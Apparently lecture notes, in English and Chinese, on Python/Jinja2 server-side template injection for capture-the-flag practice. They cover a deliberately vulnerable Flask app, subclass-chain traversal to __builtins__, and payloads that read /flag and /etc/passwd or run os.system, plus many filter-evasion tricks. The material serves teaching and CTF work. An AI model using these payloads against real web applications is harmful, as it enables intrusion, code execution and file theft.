Python SSTI
Server-Side Template Injection
Prerequisites
- Python 3.11
- PyCharm (Recommended for debugging)
Basics
What is Server Side Template Render
Template Renderers
| Mako | Jinja2 | Python (code eval) | Tornado |
|---|---|---|---|
| Nunjucks | Pug | doT | Marko |
| JavaScript (code eval) | EJS | Ruby (code eval) | Slim |
| ERB | Smarty | PHP (code eval) | Twig |
| Freemarker | Velocity | Twig | Smarty |
| Dust |
How to judge

Jinja2
| Expression | Description |
|---|---|
{{ ... }} | 输出内容 |
{% ... %} | 控制语句 |
{# ... #} | 注释 |
What is SSTI?
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'World')
template = 'Hello, %s!' % name
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
Reglance
render_template_string( "Hello %s" % "World") render_template_string( "Hello World" )How about this?
render_template_string(
"Hello %s"
% "{{7*7}}"
) render_template_string("Hello {{7*7}}") "Hello 49"Attack Vectors
How to RCE / Get Flag?
file(open.read)open('/flag').read()subprocess.Popenimport subprocess subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE).stdout.read()os.popenimport os os.popen('ls').read()execexec('print("Hello")')evaleval('print("Hello")')
How can we reach that
Class Inheritance
print(dir(...))classDiagram
class object
object : \__class__
object : \__bases__
object : \__subclasses__()
class builtin_function_or_method
builtin_function_or_method : \__class__
builtin_function_or_method : \__mro__
builtin_function_or_method : \__init__
class module
object <|-- builtin_function_or_method<!-- 大致带着说有值得注意的继承关系吧
所有的对象都有 __class__ 属性
万物基于 object, 所以 object 有 __bases__ 属性
我们也可以从 object 获取所有的子类来拿到所有的类
__mro__ -1 可以拿到 object
__init__ 是所有的builtin_function_or_method都有的方法
里面包含了 __globals__, 也可以拿到 __builtins__-->


From object's subclass
- Get
objectclass
''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]- Print all subclasses
object.__subclasses__()- Get all class
object.__subclasses__()[index]- Find interesting classes and its globals
object.__subclasses__()[index].__init__.__globals__- Get
__builtins__
object.__subclasses__()[index].__init__.__globals__['__builtins__']What's in __builtins__
__builtins__: commonly used functions and types
eval: evaluate a string as Python codeexec: execute a string as Python codeopen: open a file__import__: import a moduleos: operating system functionssubprocess: spawn new processes
Render Context


Built-in functions
lipsumurl_for
Configs
SECRET_KEY
Filter
filter chain with a variable
variable|filter1|filter2(args)|...
Common Filters
int(): 将值转换为int类型;float(): 将值转换为float类型;lower(): 将字符串转换为小写;upper(): 将字符串转换为大写;title(): 把值中的每个单词的首字母都转成大写;capitalize(): 把变量值的首字母转成大写,其余字母转小写;trim(): 截取字符串前面和后面的空白字符;wordcount(): 计算一个长字符串中单词的个数;reverse(): 字符串反转;replace(value,old,new): 替换将old替换为new的字符串;truncate(value,length=255,killwords=False): 截取length长度的字符串;striptags(): 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;escape()或e: 转义字符,会将<、>等符号转义成HTML中的符号,显例:content|escape或content|e;safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例:{{'<em>hello</em>'|safe}};list(): 将变量列成列表;string(): 将变量转换成字符串;join(): 将一个序列中的参数值拼接成字符串;abs(): 返回一个数值的绝对值;first(): 返回一个序列的第一个元素;last(): 返回一个序列的最后一个元素;format(value,arags,*kwargs): 格式化字符串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!length(): 返回一个序列或者字典的长度;sum(): 返回列表内数值的和;sort(): 返回排序后的列表;default(value,default_value,boolean=false): 如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换
Bypass
How can we use
Bypass []
Use `pop`
Use `__getitem__`
{{''.__class__.__mro__[-1].__subclasses__()[40]}}{{''.__class__.__mro__[-1].__subclasses__().pop(40)}}{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)}}Bypass .
{{
''.__class__.__base__.__subclasses__.__getitem__(40)
.__init__.__globals__.__getitem__('__builtins__')
.__getitem__('open')('/flag').read()
}}{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()
|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')
|attr('__getitem__')('__builtins__')
|attr('__getitem__')('open')('/flag')
|attr('read')()
}}Bypass {{ }}
Use {% %}
Bypass ( )
Use function overwriting
request.__class__.__getitem__=__builtins__.execThen if we call request['a']
We are actually calling exec('a')
Bypass Keywords
Inject from request parameters
request.argsrequest.valuesrequest.cookies
are Flask parameters which can be accessed in template
e.g.
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)("/etc/passwd").read()}}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwdGet any strings
- Using existed string to get char
{{ ('...'|list()).pop(xxx)|string }}
{{ ({ }|select()|string|list()).pop(xxx)|string }}- Using
+to concat
object.__subclasses__()[59].__init__.__globals__.__builtins__['os'].__dict__['system']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()- Using
~to concat
xhx*2~im~xhx*2- Using dict to concat
{% set a=dict(o=x,s=xx)|join %}- Format string
{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}- use
chrfunction
{%set chr=[].__class__.__base__.__subclasses__()[xx].__init__.__globals__.__builtins__.chr %}Other string represent
- Hex
\x41 - Oct
\101 - Unicode
\u0074 - base64
'X19jbGFzc19f'.decode('base64')python3 - join
"fla".join("/g") - slice
"glaf"[::-1] - lower/upper
["__CLASS__"|lower - format
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) - replace
"__claee__"|replace("ee","ss") - reverse
"__ssalc__"|reverse
Reload
reload(__builtins__)
Fin.
References


































































































































